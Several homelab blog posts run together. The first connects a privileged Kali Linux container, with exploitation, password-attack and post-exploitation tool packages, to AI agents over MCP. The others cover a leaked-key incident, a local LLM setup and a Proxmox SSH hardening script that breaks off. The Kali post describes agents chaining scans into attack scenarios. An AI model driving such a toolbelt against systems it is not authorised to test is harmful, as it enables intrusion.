I containerised Kali Linux, wired up the MCP bridge, and now run a reproducible, on-demand Kali toolbelt for my agents via Docker Compose.

Let me tell you the real story. I thought this would be a quick weekend hack. Three debugging sessions later, I learned more about Docker, privilege escalation, and MCP integration than any tutorial could teach me. Grab your coffee (or tea, I don't judge (maybe a little)).

What is MCP and Why Should You Care?

Model Context Protocol is Anthropic's standard for connecting AI systems to external tools and data sources. Think of it as a universal translator between your AI agents and the real world.

Instead of building custom integrations for every tool, MCP provides a standardised way for AI models to:

• Execute commands safely
• Access file systems
• Query databases
• Interact with APIs
• And yes, run security tools

The beauty? Your AI agents can now orchestrate complex workflows that would normally require manual intervention.

The Journey: From Idea to Working System

The Initial Plan

My plan was simple. Use Kali as a Toolbelt for an Agent, so it can do some security stuff for me. Here are my steps:

1. Spin up Kali Linux in Docker
2. Install the MCP-Kali-Server from GitHub
3. Configure opencode to connect
4. Hack the planet
5. ???
6. Profit

Spoiler Alert: Still in progress of step 4...

First Attempt: The Naive Approach

I searched for ready-to-use MCP Servers for Kali, and I actually found a blog post. Noice! I can just copy and paste the instruction and use it. You know what, let my agent do this for me:

Hey Orchestrator, analyze the blog post here and set up Kali MCP server that I can use. Here is the link: https://medium.com/@sasisachins2003/penetration-testing-made-simple-kali-mcp-with-docker-and-claude-desktop-6d50a6a60300

Got it! Let me scan the blog post and setup a ready to use Kali Linux MCP Server... anylzing blog post creating plan pulling data do some magic cast fireball writing files .... I'm done, you now got a ready to use Kali MCP, simple run docker compose up and connect it to your agent.

Awesome! Now let's hack the planet! But from what I've learned before, let's first verify, before actually using it.

*Open file docker-compose.yaml*

Hmmm.... i see....

*open file Dockerfile*

yep, i saw that in the post... ah ok... yes yes... yeah, its fucked

My agent unfortunately messed up the setup. So...

The MCP Integration Challenge

Getting the MCP server running was its own adventure. The MCP-Kali-Server project provides a Flask API that wraps common Kali tools, but integrating it with opencode required understanding how MCP actually works.

MCP uses JSON-RPC for communication. Your AI agent sends structured requests to the MCP server, which translates them into tool executions. The server then returns structured responses that the AI can understand and act upon.

The Technical Implementation

Dockerfile: Building the Foundation

Let me show you the Dockerfile that finally worked. This 55-line beast installs comprehensive Kali toolsets and sets up the MCP server environment:

/docker/Dockerfile

# Build an image that contains Kali tools + MCP-Kali-Server repo
FROM kalilinux/kali-rolling:latest
ENV DEBIAN_FRONTEND=noninteractive

# Basic tooling + python + git
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      ca-certificates curl gnupg lsb-release git python3 python3-pip \
      && rm -rf /var/lib/apt/lists/*

# Install Kali MCP package (optional if you prefer package-managed install)
# keep || true so layer doesn't fail on package changes in ephemeral environments
RUN apt-get update && \
    apt-get install -y --no-install-recommends mcp-kali-server \
    kali-tools-top10 \
    kali-tools-web \
    kali-tools-database \
    kali-tools-passwords \
    kali-tools-wireless \
    kali-tools-reverse-engineering \
    kali-tools-exploitation \
    kali-tools-social-engineering \
    kali-tools-sniffing-spoofing \
    kali-tools-post-exploitation \
    kali-tools-forensics \
    kali-tools-hardware \
    kali-tools-crypto-stego \
    kali-tools-vulnerability \
    kali-tools-web \
    kali-tools-information-gathering \
    && \
    rm -rf /var/lib/apt/lists/*


# Clone the MCP-Kali-Server repository into image
RUN git clone https://github.com/Wh0am123/MCP-Kali-Server.git /opt/MCP-Kali-Server

# Install python requirements from repo (the repo contains requirements.txt)
# Allow failures (|| true) if pip fails on platform-specific wheels; logs will show errors.
RUN pip3 install --no-cache-dir -r /opt/MCP-Kali-Server/requirements.txt || true

# Add entrypoint
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh

# Expose Kali API port; we map to localhost in docker-compose
EXPOSE 5000

# Add any additional packages
RUN apt-get update && \
    apt-get install -y --no-install-recommends gobuster

# Run entrypoint which starts the Flask API
CMD ["/usr/local/bin/entrypoint.sh"]

Why this works: We're installing comprehensive Kali toolsets, not just the base image. The kali-tools-* packages give us everything from nmap and gobuster to sqlmap and Metasploit. The Python environment setup ensures our MCP server has all its dependencies.

Key insight: Installing tools at build time makes the container larger but eliminates runtime dependency issues. In security tooling, reliability trumps container size.

Docker Compose: Orchestrating the Chaos

The Docker Compose configuration handles the networking and privilege requirements that gave me so much trouble:

/docker/docker-compose.yaml

services:
  kali:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: kali-mcp
    privileged: true
    ports:
      - "127.0.0.1:5000:5000" # bind API to localhost only
    volumes:
      - ./share:/root/share
    environment:
      - PYTHONUNBUFFERED=1
    tty: true
    restart: unless-stopped
    stdin_open: true
    cap_add:
      - NET_ADMIN # For network interface manipulation
      - SYS_ADMIN # For mounting filesystems and other system operations

The privileged flag: Yes, this breaks Docker's security model. But we're running security tools that need raw network access. In a controlled environment, this is acceptable.

Volume mounts: Persistent storage for scan results and wordlists. If you don't know them, learn and use them!

Entrypoint Script: Simple but Essential

The entrypoint script is deceptively simple:

/docker/entrypoint.sh

#!/bin/bash
set -euo pipefail

exec python3 /opt/MCP-Kali-Server/kali_server.py --ip 0.0.0.0 --port 5000

Why a separate script? Flexibility. We can add initialisation logic, environment checks, or tool updates without rebuilding the container.

Opencode Configuration: The MCP Bridge

The final piece is configuring opencode to connect to our containerised Kali server:

/config/opencode.json

{
    "$schema": "https://opencode.ai/config.json",
    "mcp": {
        "kali_mcp": {
            "type": "local",
            "command": [
                "docker",
                "exec",
                "-i",
                "kali-mcp",
                "python3",
                "/opt/MCP-Kali-Server/mcp_server.py",
                "--server",
                "http://127.0.0.1:5000"
            ],
            "environment": {
                "PYTHONUNBUFFERED": "1"
            },
            "enabled": true,
            "timeout": 30000
        }
    },
}

The localhost binding: Notice the 127.0.0.1:5000 address. This ensures the MCP server is only accessible locally, adding a security layer while maintaining functionality.

The Results: What We Achieved

Reproducible Security Workflows

With the MCP bridge in place, I can now ask my AI agents to:

• "Scan this IP range and identify open services"
• "Check this web application for common vulnerabilities"
• "Generate a wordlist for this target domain"
• "Run a comprehensive security assessment"

The AI orchestrates the tools, interprets results, and provides actionable insights. No more manual tool switching or result copying.

Faster Reconnaissance and Triage

What used to take hours of manual tool execution now happens in minutes. The AI can run multiple tools in parallel, correlate results, and highlight the most critical findings.

Controlled Environment Benefits

Everything runs in a containerised environment. No tool conflicts. No host system pollution. Spin up, test, tear down. Perfect for both learning and production security assessments.

Automated Tool Orchestration

The real magic happens when tools work together. The AI can use nmap results to inform gobuster scans, use discovered endpoints for vulnerability testing, and chain together complex attack scenarios.

The Reality Check: Agent Limitations and Long-Running Scans

Now, let me be honest about something that bit me during this project. Agents are impatient. Really impatient.

You know how humans get restless waiting for a long scan to finish? Agents are worse. They'll start a comprehensive nmap scan, wait about three minutes, then basically throw their hands up and say "this is taking too long, let me try something else" and abort the operation.

This creates real challenges for security workflows. A thorough network scan might take several hours. A comprehensive wordlist attack could run overnight. Vulnerability assessments often require patience and persistence. But current agent architectures? They're built for quick interactions, not marathon operations.

The real-world impact is significant. You can't rely on agents for:

• Large-scale network discovery that takes hours
• Comprehensive wordlist attacks with massive dictionaries
• Deep vulnerability scans that methodically test every endpoint
• Any operation where "set it and forget it" is the expected workflow

But here's where it gets interesting. The solution isn't to make agents more patient. No! It's to build better systems. I've been thinking about experimenting with pipeline tools like n8n to trigger scans and continue workflows when they complete. The idea is simple: separate scan initiation from result processing.

Instead of asking an agent to "run this scan and tell me the results," you design asynchronous workflows. The agent kicks off the scan, the pipeline monitors completion, and a fresh agent processes the results when they're ready. It's like having a relay team instead of asking one runner to complete a marathon.

This limitation actually points to something important about the future of AI-powered security testing. We need orchestration systems that can handle long-running operations gracefully. The current "conversational" model of AI interaction doesn't map well to security workflows that might span hours or days.

For now, I work around this by asking the agent to do all quick operations and tell, when there is a long task that I need to trigger myself and provide the results later. Manually! Urgh.... I suspect this is a temporary workaround...

Security Considerations

Important: This setup is designed for controlled environments and ethical security testing. Never use these tools against systems you don't own or lack permission to test.

Best practices:

• Run on isolated networks
• Use VPNs for external testing
• Document all activities
• Follow responsible disclosure practices
• Respect rate limits and target resources

Conclusion

Building this Kali Linux MCP server showed me the power of bridging traditional security tools with modern AI capabilities.

The debugging journey was frustrating but educational. Every failed attempt taught me something new about containerization, networking, or security tool requirements. The final working system feels like a genuine milestone – not just because it works, but because of everything I learned building it.

Remember: The goal isn't just to automate security tools. It's to create reproducible, scalable workflows that enhance human security professionals rather than replace them. AI agents can handle the repetitive scanning and correlation work, freeing us to focus on analysis, strategy, and creative problem-solving.

For any questions, hit me up on Mastodon, LinkedIn or check out the code repository. The complete setup is available, and I'd love to see what improvements you come up with.

Happy Coding and Hack the Planet!

Disclaimer: This setup is intended for authorised security testing and educational purposes only. Always ensure you have proper permission before testing any systems, and follow responsible disclosure practices for any vulnerabilities discovered.

This wasn't some complex supply chain attack or sophisticated breach. This was me! Using tools without knowing the impact nor having proper safety nets in place.

Here's what happened, how I fixed it, and most importantly, what you can learn from my fuckup.

The Incident Timeline

Picture this: I'm redeploying my Kubernetes cluster after some infrastructure changes. Everything's going smoothly. Talos Linux is humming along, Terraform is doing its thing, but then the LoadBalancer doesn't get an external IP. Uuugh...

Time to debug this issue. I swear to god, if its DNS! Because its always DNS. So I start digging into the configuration files to figure out what's going wrong.

But then something catches my eye: tls.key: Here is my thought process on this:

Huh....?!?!?!?!... Did... did i commit a secret? INTO MY PUBLIC REPO?!!!!!!

apiVersion: v1
kind: Secret
metadata:
  name: cilium-ca
  namespace: kube-system
type: Opaque
data:
  tls.key: LS0tLS1CRUdJTi... # base64 encoded private key
  tls.crt: LS0tLS1CRUdJTi... # base64 encoded certificate
  ca.crt: LS0tLS1CRUdJTi...  # base64 encoded CA cert

There it is. In all its glory. A secret. Base64 encoded, and remember,  base64 is not secure!

Don't trust me? Check yourself:

YmFzZTY0IGlzIG5vdCBzZWN1cmUhISEhIQ==

Decode the string above and know that this is not secure!

Back to Topic: A TLS private key was committed on September 10, 2025 and published to GitHub. two months. Yes, for two months, I'm presenting the secrets to the public.

Root Cause Analysis

So, how exactly did this happen? I used the following command to generate the cilium manifest:

helm template cilium cilium/cilium --version 1.18.0 \
  --namespace kube-system \
  --set ipam.mode=kubernetes \
  --set kubeProxyReplacement=true \
  --set securityContext.capabilities.ciliumAgent="{CHOWN,KILL,NET_ADMIN,NET_RAW,IPC_LOCK,SYS_ADMIN,SYS_RESOURCE,DAC_OVERRIDE,FOWNER,SETGID,SETUID}" \
  --set cgroup.autoMount.enabled=false \
  --set cgroup.hostRoot=/sys/fs/cgroup > cilium.yaml

Then apply it with kubectl, watch it up and running. Commit, push, task done. Simple, right? What could go wrong?

My mistake: I never actually look at what helm template is generating. I just trust it blindly. The Cilium Helm chart, being a comprehensive CNI solution, includes TLS certificate generation for secure communication between components. When you run helm template, it generates everything—including those certificates and private keys.

This is a classic case of automation without verification. I automated the template generation but forgot to automate the security review. I was so focused on getting the cluster up and running that I skipped the most basic security practice: actually checking what I'm about to push.

Immediate Response and Remediation

Here is my battle plan:

1. Root Cause Analysis: Identify the flawed static YAML approach (done)
2. Access Review: Verify no unauthorised access to the homelab network (done)
3. Secret Rotation: Regenerate all affected TLS certificates and keys
4. Implement A Solution: Provide a permanent fix for these helm templates.

The Technical Fix

Enter terraform_data resource.

/terraform/kubernetes/cilium.tf

locals {
  dist_directory   = "${path.module}/dist"
  cilium_filepath = "${local.dist_directory}/cilium.yaml"
}

resource "terraform_data" "cilium_yaml" {
  input = local.cilium_filepath

  lifecycle {
    replace_triggered_by = [talos_machine_secrets.this]
  }

  provisioner "local-exec" {
    command = <<EOT
    mkdir -p ${local.dist_directory}
    echo "*" > ${local.dist_directory}/.gitignore
    helm template cilium cilium/cilium --version 1.18.0 \
      --namespace kube-system \
      --set ipam.mode=kubernetes \
      --set kubeProxyReplacement=true \
      --set securityContext.capabilities.ciliumAgent="{CHOWN,KILL,NET_ADMIN,NET_RAW,IPC_LOCK,SYS_ADMIN,SYS_RESOURCE,DAC_OVERRIDE,FOWNER,SETGID,SETUID}" \
      --set cgroup.autoMount.enabled=false \
      --set cgroup.hostRoot=/sys/fs/cgroup > ${local.cilium_filepath}
    EOT
  }

  provisioner "local-exec" {
    when = destroy
    command = <<EOT
    rm -rf ${local.dist_directory}
    EOT
  }
}

resource "talos_machine_configuration_apply" "cp" {
  # ... other configuration ...
  
  config_patches = [
    yamlencode({
      cluster = {
        inlineManifests = [
          {
            name     = "cilium"
            contents = file(terraform_data.cilium_yaml.output)
          }
        ]
      }
    }),
    # ... other patches ...
  ]
}

So, what's going on here?

Dynamic Generation: The terraform_data resource generates the Helm template only when needed, triggered by changes to the Talos machine secrets.

Proper Lifecycle Management: The template file gets created during apply (when = created) and cleaned up during destruction (when = destroy). The replace_triggered_by ensures regeneration when cluster secrets change.

Automatic Gitignore: Creates a .gitignore file in the dist directory to prevent accidental commits.

Direct Integration: Uses file() function to read the generated template directly into the Talos configuration, eliminating the need for complex kubectl manifest resources.

This allows me to mark the secret rotation and implementation as complete. Done!

Wrong! What did I learn? Never Trust! So, time to verify the fix, before moving on.

Verification and Testing

First, is it properly excluded from git?

git status
# dist/ directory should not appear in untracked files due to .gitignore

ls -la terraform/kubernetes/dist/
# Should show .gitignore file preventing commits

Next, is my lifecycle working for that resource?

tofu plan
# Output shows:
# terraform_data.cilium_yaml will be created
# talos_machine_configuration_apply.cp will be updated

tofu apply
# Template should be generated in dist/cilium.yaml
ls -la tofu/kubernetes/dist/cilium.yaml
# File should exist temporarily during apply

# After successful apply, verify the inline manifest
tofu show | grep -A 10 "inlineManifests"
# Should show cilium manifest content loaded from file

Finally, is my cilium deployment working?

kubectl get pods -n kube-system | grep cilium
# All Cilium pods should be running

kubectl logs -n kube-system -l app.kubernetes.io/name=cilium | head -20
# No certificate or TLS errors in startup logs

# Verify Cilium status
cilium status
# Should show healthy cluster connectivity

Now the good news: The dynamic approach isn't just more secure—it's also more reliable. Improvement!

Pushed and fixed on November 8, 2025. Issue resolved!

Lessons Learned

This incident teaches me several valuable lessons:

1. Always Inspect Generated Content

The Lesson: Zero Trust! Never trust automated tools blindly, especially when they're generating a configuration that might contain sensitive data.

The Practice: Before using any generated YAML, take a moment to actually look at it. Here are commands that will help me in the future:

# Quick security scan of generated templates
helm template myapp ./chart | grep -i -E "(secret|password|key|token|tls\.key|tls\.crt)"

Automated Detection Tools: I'm planning to add tools to my workflow for automated detection:

• git secrets
• python detect-secrets
• TruffleHog

2. Security is a Process, Not a One-Time Thing

The Lesson: Security isn't something you implement once and forget about. It's an ongoing process that needs to be built into every step of your workflow.

Automated Gitignore Rules:

# Generated templates that may contain secrets
**/dist/
**/*-generated.yaml
**/*-template.yaml
cilium.yaml
helm-output/

# Common secret files
.env
.env.local
*.pem
*.key
*.p12
*.pfx
**secrets**

3. Fail Fast and Fail Safe

The Lesson:

Have an incident response plan, even for your homelab.

The Practice:

To quote Mike Tyson:

Everybody has a plan until they get punched in the face.

Get used to it. And be prepared to get punched a lot in the face.

4. Dynamic is Better Than Static (For Secrets)

The Lesson:

Static configuration files are convenient, but they're also dangerous when they contain sensitive data. Dynamic generation with proper lifecycle management is worth the extra complexity.

Even better: When you can auto-rotate secrets, do it!

The Practice:

Use tools like OpenTofu/Terraform, Helm, or Kustomize to generate configurations at deployment time rather than storing them as static files.

Next Steps and Future Improvements

This incident gets me thinking about how to prevent similar issues in the future. Here's what I'm implementing:

AI-Powered Security Review (Future Concept)

This is where it gets interesting. I'm exploring the possibility of using AI to review generated configurations before they get applied. This is future speculation, not a current implementation, but the concept involves:

• Identifying potential security issues
• Suggesting safer alternatives
• Learning from past incidents

Takeaways

If you take away just three things from this post, let them be these:

First: Always inspect what your tools generate. Automation is powerful, but it's not infallible. A quick review can save you from major headaches later.

Second: Design your systems to fail safely. Use dynamic generation, proper lifecycle management, and automated cleanup to minimise the risk of persistent secrets.

Third: When incidents happen (and they will), respond quickly but systematically. Document what goes wrong, fix the immediate issue, and implement controls to prevent recurrence.

Security incidents are learning opportunities in disguise. Yes, they're stressful and potentially dangerous, but they also force us to examine our assumptions and improve our practices. This particular incident makes me a better DevOps engineer, and I hope sharing it helps you avoid similar mistakes.

Remember: we're all human, we all make mistakes, and we all have the opportunity to learn from them. The key is to fail fast, fail safe, and always be improving.

For any questions about this incident or the fix, hit me up on Mastodon or LinkedIn. I'm always happy to discuss security practices and lessons learned.

Happy Coding!

NetworkChuck made it look so easy. Just install some TUI tools, run a few commands, and boom – you're an AI wizard!

I watched his video about TUI AI tools and thought: "This is it. This is my moment to dive into AI." He wasn't just showing off Ollama running models in the terminal - he was demonstrating this sick TUI called opencode that could turn your terminal into an AI coding wizard. The interface looked incredible. Clean. Professional. Like having an AI pair programmer right there in your terminal.

But like most things in tech, what looks simple on YouTube becomes a three-week rabbit hole of frustration, learning, and eventual enlightenment.

The Privacy Awakening

Here's the thing about being a developer in 2025: AI is everywhere. ChatGPT this, Copilot that, Gemini everything else. But I had a problem. A big one.

Privacy.

Every time I wanted to ask an AI about my code or bounce ideas around, I'd hesitate. What if my proprietary work ends up in some training dataset? What if my brilliant (okay, mediocre) ideas get leaked? What if my embarrassing debugging questions become public knowledge?

The paranoia was real. So when NetworkChuck showed off those slick terminal-based AI tools running locally, thats what I wanted. Local LLMs! Privacy! All under my control.

Time to get my hands dirty.

Enter Ollama: The Local LLM Promise

I'd heard whispers about Ollama in developer circles. "Run LLMs locally," they said. "It's easy," they said. "Just download and go," they said.

Spoiler alert: They lied. Well, not exactly lied, but they definitely glossed over some crucial details.

My plan was simple:

1. Install Ollama on my homelab
2. Download some models
3. Set up opencode for that sweet TUI experience
4. Become an AI wizard
5. ???
6. Profit

What could go wrong?

The Hardware Reality Check

My homelab setup: A trusty VM running on Proxmox with a GTX 1060 6GB. Not exactly cutting-edge, but hey, it had worked for everything else I'd thrown at it. Gaming, video encoding, crypto mining back in the day – this little GPU was a trooper.

Surely it could handle some AI models, right?

Right?

GPU Passthrough: The First Boss Battle

Getting GPU passthrough working in Proxmox is like solving a Rubik's cube blindfolded while riding a unicycle. On fire. In a thunderstorm and I love adventures like this!

I spent days wrestling with IOMMU groups, VFIO drivers, and kernel parameters. Every time I thought I had it figured out, something would break. The VM wouldn't start. The GPU wouldn't initialize. The drivers would throw tantrums.

# This command became my best friend and worst enemy
lspci -nnv | grep -A 12 VGA

After what felt like a lifetime of forum diving and config file tweaking, I finally got the GTX 1060 passed through to my Ubuntu VM. Victory! Time to install Ollama and start my AI journey.

Or so I thought.

Welcome to AI Terminology Hell

Installing Ollama was actually straightforward:

curl -fsSL https://ollama.ai/install.sh | sh

But then came the fun part: choosing a model. And that's when I realized I'd entered a whole new world of acronyms and jargon that made Kubernetes look simple.

GGUF? Quantization? 7B, 13B, 70B parameters? What the hell is a "parameter" anyway? Why are there so many versions of the same model? What's the difference between llama2:7b and llama2:7b-chat?

I felt like a noob again. And not the good kind of noob where you're excited to learn – the overwhelming kind where you question every life choice that led you to this moment.

Thank god for resources like this AI glossary that helped me decode the madness. Turns out:

• Parameters: Think of them as the "brain cells" of the AI model
• 7B/13B/70B: Billion parameters (more = smarter but hungrier)
• Quantization: Compression to make models smaller and faster
• GGUF: A file format for storing models efficiently

Armed with this half-baked knowledge, I made my first attempt:

ollama pull llama2:13b

And waited. And waited. And waited some more.

The Great Model Download of 2025

Downloading a 13B model on my internet connection was like watching paint dry in slow motion. We're talking gigabytes of data, /s and my upload-optimized fiber connection suddenly felt like dial-up.

After an hour of downloading, I got an error. Out of disk space. Of course.

Let me try something smaller:

ollama pull llama2:7b

Success! Finally, I had a working local LLM. Time to test it out:

ollama run llama2:7b

The model loaded (eventually), and I asked my first question: "How do I optimize a Python function for better performance?"

And then I waited. And waited. The GTX 1060 was working hard – I could hear the fans spinning up – but the response was... glacial.

Thirty seconds later, I got a decent answer. But thirty seconds! For a simple question! This wasn't the snappy AI experience I was used to from the cloud services.

But hey, at least Ollama was working. Time for the real prize: opencode!

opencode: The Real Goal All Along

Remember that slick TUI interface from NetworkChuck's video? That was OpenCode.ai – and this was what I'd been working toward this whole time. Not just chatting with models in a basic terminal interface like some kind of AI hermit. Nope!

opencode is like having an AI pair programmer right in your terminal. It can read your files, understand your codebase, suggest improvements, and even write code for you. And the best part? It can connect to local Ollama models for that sweet, sweet privacy I was craving.

The setup is actually brilliant:

• Ollama serves the models (the backend muscle)
• opencode provides the interface (the frontend magic)
• You get privacy AND a fantastic coding experience

Perfect, right? Right!

Installing opencode

After the GPU passthrough nightmare, I was cautiously optimistic about installing opencode. Surely this couldn't be as painful as VFIO drivers and IOMMU groups, right?

curl -fsSL https://opencode.ai/install | bash

Of course it's a Node.js app. Because when isn't it?

But you know what? The installation actually went smooth as butter. No kernel panics, no driver issues, no existential crises. Just a simple install and we're good to go.

I was suspicious. This felt too easy.

Connecting to Ollama

Here's where NetworkChuck's video really shined. He made the opencode configuration crystal clear. Unlike my GPU passthrough adventures, this step actually went smoothly because he explained exactly what needed to be done.

The setup is straightforward: opencode needs a config file to talk to Ollama. NetworkChuck walked through this step perfectly, showing exactly where the config goes and what it should contain.

Following his instructions, I created the config file at ~/.config/opencode/opencode.json to tell OpenCode where to find my Ollama models.

Here's my actual config:

{
  "$schema": "https://opencode.ai/config.json",
  "provider": {
    "ollama": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "Ollama (local)",
      "options": {
        "baseURL": "http://<ollama-server>:11434/v1"
      },
      "models": {
        "granite4-3b": {
          "id": "granite4:3b",
          "name": "granite4:3b"
        },
        "mistral-7b": {
          "id": "mistral:7b",
          "name": "mistral-7b"
        },
        "all-minilm": {
          "id": "hf.co/leliuga/all-MiniLM-L6-v2-GGUF:Q4_K_M",
          "name": "all-minilm"
        },
        "stable-code": {
          "id": "stable-code:3b",
          "name": "stable-code-3b"
        }
      }
    }
  }
}

This config does a few crucial things:

• Points OpenCode to my local Ollama instance running on port 11434
• Maps the model names to their actual Ollama IDs
• Tells OpenCode which models I have available locally

Once the config was in place, connecting was seamless:

# Start OpenCode
opencode

And use /model after launch to see my local models. Ready to server my as their master.

And just like that, I had it! A TUI interface that could:

• Browse my project files
• Analyze my code
• Suggest improvements
• Generate new functions
• Debug issues
• All while using my local Ollama models

The terminal interface was clean, responsive, and actually usable. No more typing questions into a basic chat interface and waiting for responses. This felt like a real development tool.

The setup portion was complete and working flawlessly. But now came the real test: actually using it for development work.

And that's where things got... interesting.

The First Real Test

Time to put this beautiful setup to the test! I opened up one of my Homelab project and let opencode analyze it. The interface was intuitive – I could navigate files, select code blocks, and ask specific questions about my implementation.

"Analyze this my server module and suggest optimizations," I typed, highlighting a particularly gnarly piece of code I'd written during a late-night coding session.

I hit enter and waited for the magic to happen.

And waited.

And waited some more.

Reality hit. Hard.

The Performance Reality

Here's what nobody tells you about running LLMs on consumer hardware: it's slow. Really slow. Especially when you're limited to 7B models because your GPU only has 6GB of VRAM.

Every question was a test of patience. Complex queries would take minutes. And forget about having a flowing conversation – by the time the AI responded, I'd forgotten what I asked.

But the real kicker? No tool support. No code execution. No web browsing. No file analysis. Just basic text generation at the speed of molasses.

I started to understand why everyone was using cloud services.

The Breaking Point

The final straw came during a debugging session. I had a gnarly Python error and wanted to bounce it off the AI. I pasted the traceback, asked for help, and went to make coffee while I waited for the response.

When I came back ten minutes later, the model was still "thinking." The fans were screaming, the GPU was at 100%, and I was questioning my life choices.

That's when it hit me: I was spending more time waiting for my "privacy-focused" local AI than I would have spent just googling the answer or asking on Stack Overflow.

The irony was thick. In my quest for privacy and control, I'd created the most inefficient development workflow imaginable.

The Claude Conversion

Frustrated and slightly defeated, I decided to try Claude Pro. Just for comparison, I told myself. Just to see what I was missing.

I signed up, opened the interface, and asked the same Python question that had broken my homelab setup.

The response came back in seconds. Not minutes. Seconds.

And it wasn't just fast – it was comprehensive, well-formatted, and included code examples. It could analyze my files, execute code snippets, and even browse the web for additional context.

Pro-Tip: Don't forget to opt-out for the use of your chats and coding sessions in Claude. We still value our privacy here!

The Honest Truth About Local vs Cloud AI

Here's what I learned from my homelab AI adventure:

Local LLMs Are Great For:

• Privacy-sensitive work: When you absolutely can't send data to the cloud.
• Learning AI fundamentals: Understanding how models work under the hood
• Offline scenarios: When internet isn't available
• Experimentation: Playing with different models and parameters

Cloud AI Is Better For:

• Daily development work: Speed and reliability matter
• Complex tasks: Tool integration and advanced capabilities
• Productivity: When you need answers now, not eventually
• Cost efficiency: Your time is worth more than the subscription fee

The Hardware Reality Check:

• Consumer GPUs struggle: Even a GTX 1060 is barely adequate for 7B models
• Model size matters: Bigger models need serious hardware
• Performance expectations: Local inference is slow compared to cloud services
• Setup complexity: GPU passthrough and driver issues are real

Lessons Learned and Moving Forward

Am I abandoning local AI entirely? Not quite. I still have Ollama set up for privacy-sensitive tasks and experimentation. But for day-to-day development work, Claude Pro has become my go-to.

The key insight? Choose the right tool for the job. Sometimes that's a local model running on your homelab. Sometimes it's a cloud service optimized for speed and capability.

My Current AI Setup:

• Claude Pro: Daily development, code review, complex problem-solving
• Local Ollama: Privacy-sensitive work, AI learning experiments
• ChatGPT: Quick questions and brainstorming

If You're Starting Your AI Journey:

Start with cloud services. Get familiar with AI capabilities and limitations before diving into the hardware rabbit hole. Once you understand what you need, then consider local options.

Understand your hardware. A GTX 1060 can run 7B models, but don't expect miracles. For serious local AI work, you need serious hardware.

Privacy isn't binary. You can use cloud AI for general questions and local AI for sensitive work. It's not all or nothing.

Time is money. Calculate the cost of your time waiting for local inference versus paying for cloud services. The math might surprise you.

The Continuing Journey

My AI adventure is far from over. I'm now doing a deep dive into AI technology, understanding model architectures, training processes, and the fundamental limitations of current systems.

The homelab experiment taught me more about AI than any tutorial could. Sometimes the best way to understand technology is to struggle with it firsthand.

And hey, at least I can say I've run LLMs on a GTX 1060. That's got to count for something, right?

For any questions about local AI setups or my current workflow, checkout my homelab repository or ask me directly. I'm always happy to share the pain... I mean, knowledge!

Happy Coding!

A default Proxmox VE installation is ready to virtualise, but of course, we want to also increase the security. Because we do not want anybody to touch our Pokeballs without permission!

By default, Proxmox allows root SSH logins and password‑based authentication. For starters, this is fine, but you’re making life easy for attackers who can hammer your login endpoint with brute‑force attempts and break your shell. In this guide, you’ll:

1. Create a dedicated admin user (so that root stays locked away)
2. Grant that user password‑less sudo (for seamless automation)
3. Switch to SSH key‑based authentication (to eliminate password guessing)
4. Disable root and password logins via a drop‑in SSH config (so settings survive upgrades)

By the end, your Proxmox hypervisor will be hardened like a shiny Metapod.

You can follow each step, or if you trust me, just copy the script at the end, adjust the public key and execute the script to set everything up in seconds.

1. Create a Dedicated Admin User

Instead of logging in as root, we’ll spin up an admin account to own SSH keys and handle elevated actions.

USERNAME="admin"

# Create ‘admin’ if it doesn’t exist
if ! id "$USERNAME" &>/dev/null; then
  echo "[+] Creating user: $USERNAME"
  adduser --disabled-password --gecos "" "$USERNAME"
fi

Why? Root is the foremost target in brute‑force attacks. Hiding it reduces exposure.

2. Install sudo and Grant Password‑less Sudo

We’ll install sudo (if needed) and allow our new user to perform any command without typing a password—ideal for scripting.

# Install sudo if missing
apt update && apt install -y sudo

# Add user to sudo group
usermod -aG sudo "$USERNAME"

# Enable password‑less sudo
echo "$USERNAME ALL=(ALL) NOPASSWD:ALL" | tee "/etc/sudoers.d/99_${USERNAME}_nopass"
chmod 440 "/etc/sudoers.d/99_${USERNAME}_nopass"

Why? Automations and cron jobs won’t stall waiting for a password.

3. Enforce SSH Key‑Based Authentication

Replace the placeholder in PUBKEY= with your actual public key, then install it for admin.

PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBexampleyourkeygoeshere user@example.com"

mkdir -p /home/$USERNAME/.ssh
echo "$PUBKEY" > /home/$USERNAME/.ssh/authorized_keys
chown -R $USERNAME:$USERNAME /home/$USERNAME/.ssh
chmod 700 /home/$USERNAME/.ssh
chmod 600 /home/$USERNAME/.ssh/authorized_keys

Why? SSH keys can’t be guessed—and can be revoked or rotated easily.

4. Harden SSH via /etc/ssh/sshd_config.d

We’ll drop in a config file that disables direct root login, turns off passwords completely, and limits access to our admin user.

SSHD_HARDEN_FILE="/etc/ssh/sshd_config.d/harden.conf"

cat <<EOF > "$SSHD_HARDEN_FILE"
PermitRootLogin no
PasswordAuthentication no
AllowUsers $USERNAME
EOF

Why? Keeps your custom settings intact across OpenSSH updates and shrinks your attack surface.

5. Apply and Verify

Reload the SSH service and run through these checks:

systemctl reload sshd

Before logging out, make sure to test the new setup!

ssh admin@<proxmox_ip/hostname>

This should give you the following output:

admin@<proxmox_ip/hostname>: Permission denied (publickey). 

Now use your private key to access the machine:

ssh -i .ssh/prox.key admin@<proxmox_ip/hostname>

Now, try to become root without a password.

sudo su

📝 Complete harden-proxmox.sh Script

Save, edit the PUBKEY line, make executable, then run:

chmod +x harden-proxmox.sh
sudo ./harden-proxmox.sh

#!/bin/bash
set -e

USERNAME="admin"
SSHD_HARDEN_FILE="/etc/ssh/sshd_config.d/harden.conf"

# 1. Create user if missing
if ! id "$USERNAME" &>/dev/null; then
  echo "[+] Creating user: $USERNAME"
  adduser --disabled-password --gecos "" "$USERNAME"
fi

# 2. Install sudo & grant passwordless sudo
apt update && apt install -y sudo
usermod -aG sudo "$USERNAME"
echo "$USERNAME ALL=(ALL) NOPASSWD:ALL" | tee "/etc/sudoers.d/99_${USERNAME}_nopass"
chmod 440 "/etc/sudoers.d/99_${USERNAME}_nopass"

# 3. Configure key-based SSH
PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBexampleyourkeygoeshere user@example.com"
mkdir -p /home/$USERNAME/.ssh
echo "$PUBKEY" > /home/$USERNAME/.ssh/authorized_keys
chown -R $USERNAME:$USERNAME /home/$USERNAME/.ssh
chmod 700 /home/$USERNAME/.ssh
